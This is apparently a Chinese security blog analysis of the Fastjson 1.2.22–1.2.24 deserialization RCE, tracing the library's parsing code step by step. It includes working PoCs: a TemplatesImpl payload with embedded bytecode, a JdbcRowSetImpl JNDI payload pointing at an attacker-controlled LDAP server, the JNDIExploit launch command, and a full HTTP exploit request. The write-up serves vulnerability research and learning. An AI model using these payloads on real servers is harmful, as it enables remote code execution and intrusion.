Fastjson反序列化漏洞分析 1.2.22-1.2.24
Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两个主要接口JSON.toJSONString和JSON.parseObject/JSON.parse来分别实现序列化和反序列化操作。
环境
Tomcat 8.5.56org.apache.tomcat.embed 8.5.58fastjson 1.2.24
漏洞版本:
- fastjson 1.2.22-1.2.24
利用方式:
- TemplatesImpl
- JdbcRowSetImpl
FastJson序列化
序列化主要是通过
toJSONString
方法,而设置
SerializerFeature.WriteClassName
属性之后在序列化的时候会多写入一个@type,并写上被序列化的类名。
@WebServlet("/ser")public class SerServlet extends HttpServlet {@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {this.doPost(req, resp);}@Overrideprotected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {Person person = new Person();person.setAge(18);person.setName("Student");String jsonString = JSON.toJSONString(person, SerializerFeature.WriteClassName);System.out.println(jsonString);resp.getWriter().write(jsonString);}}
反序列化则是通过
parse()
/
parseObject()
方法,parseObject其实也是使用的parse方法,只是多了一处toJSON方法处理对象。
(注意本地测试时可能需要开启autotype),可以选择在jvm参数中添加
-Dfastjson.parser.autoTypeSupport=true
@WebServlet("/deser")public class DeserServlet extends HttpServlet {@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {this.doPost(req,resp);}@Overrideprotected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {Object parse = JSON.parseObject(req.getParameter("param"));System.out.println(JSON.parseObject(req.getParameter("param")));resp.getWriter().write(parse.toString());}}
可以看到带上
@type
并且开启
autotype
指定反序列化的类后会默认调用该类的
构造/get/set
方法
param={"@type":"com.example.Fastjson_Tomcat.fastjson.Person", "age":18,"name":"Student"}
Fastjson反序列化
在
JSON.parseObject
下断点,跟一下反序列化的过程
首先进入
parseObject
方法,在里面调用的
parse
方法
继续跟,在重载的
parse
方法中看到了这样一个参数
DEFAULT_PARSER_FEATURE
。在fj中在调用
JSON.parse(text)
对json文本进行解析时,这里使用的是缺省的默认配置
public static Object parse(String text) {return parse(text, DEFAULT_PARSER_FEATURE);}public static Object parse(String text, int features) {if (text == null) {return null;} else {DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);Object value = parser.parse();parser.handleResovleTask(value);parser.close();return value;}}
而在后续创建
DefaultJSONParser
实例对象时,值得注意的是传入了一个
ParserConfig.getGlobalInstance()
,调用后会获取global属性,该属性会生成一个
ParserConfig
的实例化对象,里面保存的是全局配置的一些东西,包括网上文章讲的通过代码开启autotype的一种方式也是利用的该类
那么在创建
DefaultJSONParser
实例中调用其有参构造时,还用到了
JSONScanner
,其继承自
JSONLexerBase
也是做为词法解析器的实现类,进入
new JSONScanner
时,首先会调用父类
JSONLexerBase
的有参构造(参数为features),调用时会做包括初始化时区、语言等配置。
后续,后面
JSONScanner
也会作为
lexer
(词法解析器)对反序列化的字符串逐个读取,回到
JSONScanner
的构造方法,初始化了一些值,包括
private final String text; //待反序列化的字符串private final int len; //字符串的长度
而调用
JSONScanner#next()
方法时,如果读取到末尾时则返回
\\u001a
,否则调用
charAt
方法返回指定索引代表的字符。那么配合上之前的逻辑,就是在这里循环获取的我们传入的待反序列化str,并且还会跳过
\\ufeff
(
\\ufeff
是utf-8的BOM,BOM(“ByteOrder Mark”),用来声明编码信息)
public final char next() {int index = ++this.bp;return this.ch = index >= this.len ? \'\\u001a\' : this.text.charAt(index);}
关于DefaultJSONParser相关属性:input: 传入的待反序列化字符串config: 配置信息lexer: 词法解析器
回头看DefaultJSONParser的实例化,最终调用的是
DefaultJSONParser(Object input, JSONLexer lexer, ParserConfig config)
方法,这里初始化了很多有用的信息:
this.lexer //词法解析器this.input //待反序列化字符串this.config //配置信息this.symbolTable //这个在三梦师傅文章提过,“我称之为符号表,它可以根据传入的字符,进而解析知道你想要读取的一段字符串”还有一步很重要,这里对lexer.token赋值为12
token这个值是JSONLexerBase类中的属性,这里把JSONToken类贴出来方便理解。个人感觉token是对于当前字符ch的一个映射,用来表示input中的某些特殊字符,更官方一点的说法可能就是
词法类型
public class JSONToken {public static final int ERROR = 1;public static final int LITERAL_INT = 2;public static final int LITERAL_FLOAT = 3;public static final int LITERAL_STRING = 4;public static final int LITERAL_ISO8601_DATE = 5;public static final int TRUE = 6;public static final int FALSE = 7;public static final int NULL = 8;public static final int NEW = 9;public static final int LPAREN = 10;public static final int RPAREN = 11;public static final int LBRACE = 12;public static final int RBRACE = 13;public static final int LBRACKET = 14;public static final int RBRACKET = 15;public static final int COMMA = 16;public static final int COLON = 17;public static final int IDENTIFIER = 18;public static final int FIELD_NAME = 19;public static final int EOF = 20;public static final int SET = 21;public static final int TREE_SET = 22;public static final int UNDEFINED = 23;public JSONToken() {}public static String name(int value) {switch(value) {case 1:return "error";case 2:return "int";case 3:return "float";case 4:return "string";case 5:return "iso8601";case 6:return "true";case 7:return "false";case 8:return "null";case 9:return "new";case 10:return "(";case 11:return ")";case 12:return "{";case 13:return "}";case 14:return "[";case 15:return "]";case 16:return ",";case 17:return ":";case 18:return "ident";case 19:return "fieldName";case 20:return "EOF";case 21:return "Set";case 22:return "TreeSet";case 23:return "undefined";default:return "Unknown";}}}
DefaultJSONParser
实例化之后调用
parse()
方法
public static Object parse(String text, int features) {if (text == null) {return null;} else {DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);Object value = parser.parse();parser.handleResovleTask(value);parser.close();return value;}}
调用重载的
parse
,继续跟进
public Object parse() {return this.parse((Object)null);}
最终进入
Object parse(Object fieldName)
方法首先拿到
lexer
此法解析器,后续通过
lexer.token()
获取到当前的token的值,为12,之后进入switch逻辑
当case 12时,进入如下逻辑,跟进
JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
首先来一段八股文。
Feature.OrderedField
作用是将String转换Json对象时不要调整顺序(FastJson转换时默认使用HashMap,所以排序规则是根据HASH值排序的)而最终
lexer.isEnabled(Feature.OrderedField)==false
,这里boolean的值决定了使用HashMap还是LinkedMap存放数据。当为false时,使用HashMap存放。上面说了HashMap的根据key的hash算法确定在数组中的位置,当发生hash冲突的时候,根据二叉树或者红黑树构成链表。所以是有序的,key确定,位置也就确定了。而LinkedHashMap的内部维持了一个双向链表,保存了数据的插入顺序,遍历时,先得到的数据便是先插入的。
public JSONObject(int initialCapacity, boolean ordered) {if (ordered) {this.map = new LinkedHashMap(initialCapacity);} else {this.map = new HashMap(initialCapacity);}}
回到
parse
方法,之后进入
this.parseObject((Map)object, fieldName)
依然是依据token的值进行处理,进入while循环后首先调用
skipWhitespace
方法对类似于
\\r,\\n,\\t
等空格类的字符进行处理操作,之后通过
getCurrent()
方法拿到当前的
ch
值(如果当前值为
,
则向后读取一位)第一次为
"
**后续值得注意的是
lexer.scanSymbol
方法,该方法会取出被
"
包裹的值,第一次是拿来获取key,第二次则是当key的值为@type且未禁用关键字解析(也就是我们通常所说的禁用autotype)则会调用loadClass方法去生成指定类的class对象。**对应代码如下:
if (ch == \'"\') {key = lexer.scanSymbol(this.symbolTable, \'"\');lexer.skipWhitespace();ch = lexer.getCurrent();......ch = lexer.getCurrent();lexer.resetStringPosition();Object obj;Object instance;String ref;Object thisObj;if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {ref = lexer.scanSymbol(this.symbolTable, \'"\');Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());
所以,比如我们经常看到的一种poc
"{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatessImpl"
当未禁用key解析时(@type)就会帮我们生成
TemplatessImpl
的class对象。
之后获取ObjectDeserializer对象并调用deserialze方法进行反序列化
这里主要关注下在调用
this.config.getDeserailizer(clazz)
方法时,会调用
JavaBeanInfo.build()
,首先这里通过反射获取到该类中所有的get/set方法赋值给methods数组,之后会去循环遍历符合条件的get/set方法
贴出部分build方法中判断逻辑代码:
public static JavaBeanInfo build(Class<?> clazz, Type type, PropertyNamingStrategy propertyNamingStrategy) {...if (methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && (method.getReturnType().equals(Void.TYPE) || method.getReturnType().equals(method.getDeclaringClass()))) {Class<?>[] types = method.getParameterTypes();...if (methodName.startsWith("set")) {char c3 = methodName.charAt(3);String propertyName;if (!Character.isUpperCase(c3) && c3 <= 512) {if (c3 == \'_\') {propertyName = methodName.substring(4);} else if (c3 == \'f\') {propertyName = methodName.substring(3);} else {if (methodName.length() < 5 || !Character.isUpperCase(methodName.charAt(4))) {continue;}propertyName = TypeUtils.decapitalize(methodName.substring(3));}} else if (TypeUtils.compatibleWithJavaBean) {propertyName = TypeUtils.decapitalize(methodName.substring(3));} else {propertyName = Character.toLowerCase(methodName.charAt(3)) + methodName.substring(4);}Field field = TypeUtils.getField(clazz, propertyName, declaredFields);if (field == null && types[0] == Boolean.TYPE) {isFieldName = "is" + Character.toUpperCase(propertyName.charAt(0)) + propertyName.substring(1);field = TypeUtils.getField(clazz, isFieldName, declaredFields);}...var30 = clazz.getMethods();var29 = var30.length;for(i = 0; i < var29; ++i) {method = var30[i];String methodName = method.getName();if (methodName.length() >= 4 && !Modifier.isStatic(method.getModifiers()) && methodName.startsWith("get") && Character.isUpperCase(methodName.charAt(3)) && method.getParameterTypes().length == 0 && (Collection.class.isAssignableFrom(method.getReturnType()) || Map.class.isAssignableFrom(method.getReturnType()) || AtomicBoolean.class == method.getReturnType() || AtomicInteger.class == method.getReturnType() || AtomicLong.class == method.getReturnType())) {JSONField annotation = (JSONField)method.getAnnotation(JSONField.class);if (annotation == null || !annotation.deserialize()) {String propertyName;if (annotation != null && annotation.name().length() > 0) {propertyName = annotation.name();} else {propertyName = Character.toLowerCase(methodName.charAt(3)) + methodName.substring(4);}fieldInfo = getField(fieldList, propertyName);if (fieldInfo == null) {if (propertyNamingStrategy != null) {propertyName = propertyNamingStrategy.translate(propertyName);}add(fieldList, new FieldInfo(propertyName, method, (Field)null, clazz, type, 0, 0, 0, annotation, (JSONField)null, (String)null));}}}}return new JavaBeanInfo(clazz, builderClass, defaultConstructor, (Constructor)null, (Method)null, buildMethod, jsonType, fieldList);}}
简单跟一下后发现 大致对于set/get方法查找逻辑如下:set查找逻辑:1、方法名长度大于等于42、非static方法3、返回值为void或当前类4、方法名以set开头
get查找逻辑:1、方法名长度大于等于42、方法名以get开头3、方法名第4个字母为大写4、无需传参5、返回值类型为Collection、Map的实现类或为AtomicBoolean AtomicInteger AtomicLong
下面跟一下在反序列化时调用get/set方法的逻辑:回到
ObjectDeserializer.deserialize
方法,在
parseField
下断点
跟进重载的parseField方法,
跟进setValue
在setValue方法中反射调用set/get方法
小结
JSON.parseObject()JSON.parse() //实际上还是调用到parse()方法DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);// 其中涉及到了一些属性如 text,len,input,ch,config,symbolTable等JSONScanner(input, features) // lexer 词法解析器JSONLexerBase(features)DefaultJSONParser.parse()DefaultJSONParser.parse((Object)null)lexer.token() // 获取当前tokenlexer.isEnabled(Feature.OrderedField) // 判断使用HashMap还是LinkedMapthis.parseObject((Map)object, fieldName)key = lexer.scanSymbol(this.symbolTable, \'"\') //第1次获取传入的第1个key,为@typeref = lexer.scanSymbol(this.symbolTable, \'"\') //当开启autotype且key值为@type时执行下面逻辑clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader()) //获取指定类的class对象this.config.getDeserializer(clazz) // 获取ObjectDeserializer对象JavaBeanInfo.build() //根据指定类中符合条件的get/set方法deserializer.deserialze(this, clazz, fieldName)this.deserialze(parser, type, fieldName, 0)((FieldDeserializer)fieldDeserializer).parseField(parser, object, objectType, fieldValues)setValue(Object object, Object value) //反射调用set/get方法
Fastjson TemplatessImpl复现分析
漏洞复现
漏洞环境:
感谢keyi老师提供的漏洞环境~pom.xml
<dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.24</version></dependency><dependency><groupId>commons-codec</groupId><artifactId>commons-codec</artifactId><version>1.12</version></dependency><dependency><groupId>commons-io</groupId><artifactId>commons-io</artifactId><version>2.5</version></dependency><dependency><groupId>com.unboundid</groupId><artifactId>unboundid-ldapsdk</artifactId><version>4.0.9</version></dependency>
服务端代码
// TemplatesImplepublic static void testTemplatesImple(String payload){System.out.println("[*] Payload:" + payload);try {JSON.parse(payload, Feature.SupportNonPublicField);} catch (JSONException var2) {}}// Servlet@WebServlet("/Templates")public class TemplatesImplPocServlet extends HttpServlet {@Overrideprotected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {this.doPost(req, resp);}@Overrideprotected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {String payload = req.getParameter("param");FastJson.testTemplatesImple(payload);}}
前提条件
调用parse()或parseObject()时需要设置Feature.SupportNonPublicField进行反序列化操作才能成功触发利用。因为在利用TemplatesImpl这个类时,
_bytecodes
和
_name
都是私有属性,而Fastjosn在反序列化时默认只会反序列化public属性,所以需要加上
Feature.SupportNonPublicField
PoC
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatessImpl","_bytecodes":["yv66vgAAADQAOgoACQAqCgArACwIAC0KACsALgcALwoABQAwBwAxCgAHACoHADIBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEABHRoaXMBAC9MY29tL2V4YW1wbGUvRmFzdGpzb25fVG9tY2F0L1RlbXBsYXRlSW1wbC9jYWxjOwEADVN0YWNrTWFwVGFibGUHADEHAC8BAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAMwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARhcmdzAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEABGNhbGMBAApTb3VyY2VGaWxlAQAJY2FsYy5qYXZhDAAKAAsHADQMADUANgEAEm9wZW4gLWEgQ2FsY3VsYXRvcgwANwA4AQATamF2YS9pby9JT0V4Y2VwdGlvbgwAOQALAQAtY29tL2V4YW1wbGUvRmFzdGpzb25fVG9tY2F0L1RlbXBsYXRlSW1wbC9jYWxjAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAkAAAAAAAQAAQAKAAsAAQAMAAAAdAACAAIAAAAWKrcAAbgAAhIDtgAEV6cACEwrtgAGsQABAAQADQAQAAUAAwANAAAAEgAEAAAADQAEAA8ADQAQABUAEQAOAAAAFgACABEABAAPABAAAQAAABYAEQASAAAAEwAAABAAAv8AEAABBwAUAAEHABUEAAEAFgAXAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAAWAA4AAAAgAAMAAAABABEAEgAAAAAAAQAYABkAAQAAAAEAGgAbAAIAHAAAAAQAAQAdAAEAFgAeAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAAbAA4AAAAqAAQAAAABABEAEgAAAAAAAQAYABkAAQAAAAEAHwAgAAIAAAABACEAIgADABwAAAAEAAEAHQAJACMAJAABAAwAAABBAAIAAgAAAAm7AAdZtwAITLEAAAACAA0AAAAKAAIAAAAeAAgAHwAOAAAAFgACAAAACQAlACYAAAAIAAEAJwASAAEAAQAoAAAAAgAp"],\'_name\':\'a.b\',\'_tfactory\':{ },"_outputProperties":{ },"_name":"a","_version":"1.0","allowedProtocols":"all"}
运行后访问该Servlet的路由即可弹出计算器
简单看下poc,之前分析CC3的文章中有深入分析过
TemplatesImpl
这个类,在CC3的场景也是利用的初始化
TemplatesImpl
去实现的代码执行,其中涉及到几个判断,首先是
_name
不为null,且
_bytescodes
代表的类的父类为
com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
最后通过
ClassLoader#defineClass()
加载字节码实现代码执行。所以这次poc中的几个点像是
_name
和
_bytecodes
就比较容易理解为什么要这样构造了。但是还有一些诸如
\'_tfactory\':{ },"_outputProperties":{ },"_name":"a","_version":"1.0","allowedProtocols":"all"}
这段以及为什么要base64编码字节码,并且在里面为什么会被正常解码还不是很清楚,后面调试分析一下。
调试分析
引用一段
Mik7ea师傅
poc说明:
下面调一下这整条链,带着刚才的几个问题进去调:
- _bytecodes为什么在反序列化时进行base64解码
- _outputProperties如何与getOutputProperties方法关联起来
- _tfactory为什么要设置值
还是在parse()方法处下断点,跟进后首先在
Feature.config(featureValues, feature, true)
方法中通过或等于
Feature.mask
生成一段值之后赋值给
featureValues
,之后带着
featureValues
和
text
(输入的poc)传给重载的
parse()
方法
中间省略掉
new DefaultJSONParser()
等步骤,跟进到
DefaultJSONParser#parse()
方法里,其实主要是看怎么解析的JSON字符串,我们直接跟到关键方法里:其中在
this.parseObject((Map)object, fieldName)
处对数据进行解析
继续跟进,在parseObject()方法中首先还是对空格等字符进行处理,之后获取当前下标的ch字符,第一个是
"
之后进入符合
"
的if逻辑中,依旧是我们前面说的,通过
scanSymbol()
方法获取到当前
"
包裹的键值也就是获取到
@type
。之后走了一个判断,也就是
"
包裹之后是不是
:
了,如果不是
:
就不符合json格式,直接抛出异常
之后获取下一个
ch
,并且继续处理一次空格等相似的字符
之后的
getCurrent()
方法拿到的就是我们json键值对中,‘值’所对应的第一个
"
,下面会开始对值进行解析,首先判断当前key是否为
@type
并且是否开启了autptype,条件符合则去通过
scanSymbol()
方法获取到‘值’(TemplatesImpl的全限定类名),之后通过
loadClass()
加载这个‘值’也就是
TemplatesImpl
这个类
跟进
loadClass()
方法,首先先去mappings中根据该className获取相应的类的class对象
不过这次肯定没有,之后还有两个判断逻辑,判断是否以
[
开头或以
L
开头以
;
结尾,不过这次没有进入该逻辑,但这两个点会涉及到后面一些补丁的绕过
之后就是通过当前线程获取当前上下文的ClassLoader之后调用loadClass加载该类并将ClassName与class对象的映射put进Map中去,最后return该class对象
回到
DefaultJSONParser#parseObject()
方法,通过getDeserializer获得当前class对象中的一些set/get方法,这个在上面已经分析过了,下面跟进deserialzie方法
中间有一些扫描和逻辑判断的过程,之后来到parseField方法
解析到key为
_bytecodes
时,调用parseField方法
获取到
_bytecodes
对应的值后,调用
setValue
方法设置值
跟入后,先判断当前
fieldinfo
是
method
还是
field
,因为是
_bytecodes
所以走入处理
field
的逻辑
之后就是
Filed.set()
将恶意类的bytes数组设置为
TemplatesImpl
类中属性
_bytecodes
的值
后续就是循环,通过调用
parseField
解析各个key,当key为
_outputProperties
继续跟进
首先在
smartMatch()
方法去掉
_
后续和上面
_bytecodes
处理差不多,直接跟进到
setValue()
方法。因为与
_bytecodes
不通,这里去掉了
_
的
outputProperties
会进入处理
method
的逻辑里
而因为返回值类型为
Properties
它是
Map
接口的实现类,所以会跳入该
else if
逻辑中,通过反射调用
getOutputProperties
后面其实就是走
defineClass()
加载字节码然后通过
newInstance()
实例化,就不再过多分析了。
0x01 关于
_bytecodes
base64编码:在
parseField()
方法中的
deserialize
方法中会进行base64解码,调用栈如下图
第一次进入时token为16,当第二次才为4,从而调用
bytesValue()
进行base64解码
0x02 关于
_tfactory
:
_tfactory
其实是因为在getTransletInstance()函数中调用了defineTransletClasses()函数,defineTransletClasses()中会调用
_tfactory.getExternalExtensionsMap()
,所以要设置值,不能为null
Fastjson JdbcRowSetImpl复现分析
这条链子其实是通过JNDI的方式实现的代码执行
JNDI
JNDI可以参考我之前写的JNDI文章利用姿势主要是RMI或LDAP方式去利用,但是通常是通过LDAP方式去利用,而JNDI+LDAP的限制为JDK版本<=6u211、7u201、8u191,高版本JDK需要去Bypass,Bypass的姿势可以参考
kingx
师傅和
浅蓝
师傅的文章,这里就不再细究了。利用的话可以使用marshalsec项目或者feihong师傅的JNDIExploit
漏洞复现
PoC,这里用feihong师傅的JNDIExploit
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://vps_ip:1389/", "autoCommit":true}
vps起JNDIExlpoit
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i vps_ip -l 1389 -p 8090
payload
POST /Fastjson_Tomcat_war/JdbcRowSetImpl HTTP/1.1Host: localhost:8088User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:96.0) Gecko/20100101 Firefox/96.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: JSESSIONID=208EB5DC36CB137A684E0157379FE8CCUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneSec-Fetch-User: ?1Content-Type: application/x-www-form-urlencodedContent-Length: 127cmd: lsparam={"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://vps_ip:1389/Basic/TomcatEcho", "autoCommit":true}
调试分析
这条链主要是com.sun.rowset.JdbcRowSetImpl类中存在
setAutoCommit()
和
setDataSourceName()
方法,通过Fastjson的反序列化机制会自动调用set方法来实现JNDI注入
下断点跟进去,前面和
TemplatesImpl
链过程类似,重点看
deserialze()
之后的部分
继续跟进后走到FastjsonASMDeserializer中,这部分是ASM机制生成的临时代码,这部分是看不到的,继续跟进就好之后进入
JdbcRowSetImpl#setDataSourceName()
方法,会将我们的远程地址写入
dataSource
属性
之后回到
deserialze()
方法依旧是走
parseField()
逻辑,最终在
setvalue()
方法会去反射调用
setAutocommit()
,跟进去
在
setAutocommit()
中会去调用
connect()
方法,后续就是经典的
Initialcontext#lookup()
触发JNDI注入了,再往后就没必要跟了。
写在最后
其实1.2.24的Fastjson现在基本遇不到了,而
TemplatesImpl
链的场景就更少了,更多的用到的还是
JdbcRowSetImpl
通过JNDI去实现代码执行,但是
TemplatesImpl
这条链的思路很巧妙,值得学习。
Reference
https://www.cnblogs.com/nice0e3/p/14601670.htmlhttps://threedr3am.github.io/2020/01/29/Fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96RCE%E6%A0%B8%E5%BF%83-%E5%9B%9B%E4%B8%AA%E5%85%B3%E9%94%AE%E7%82%B9%E5%88%86%E6%9E%90/https://www.mi1k7ea.com/2019/11/07/Fastjson%E7%B3%BB%E5%88%97%E4%BA%8C%E2%80%94%E2%80%941-2-22-1-2-24%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/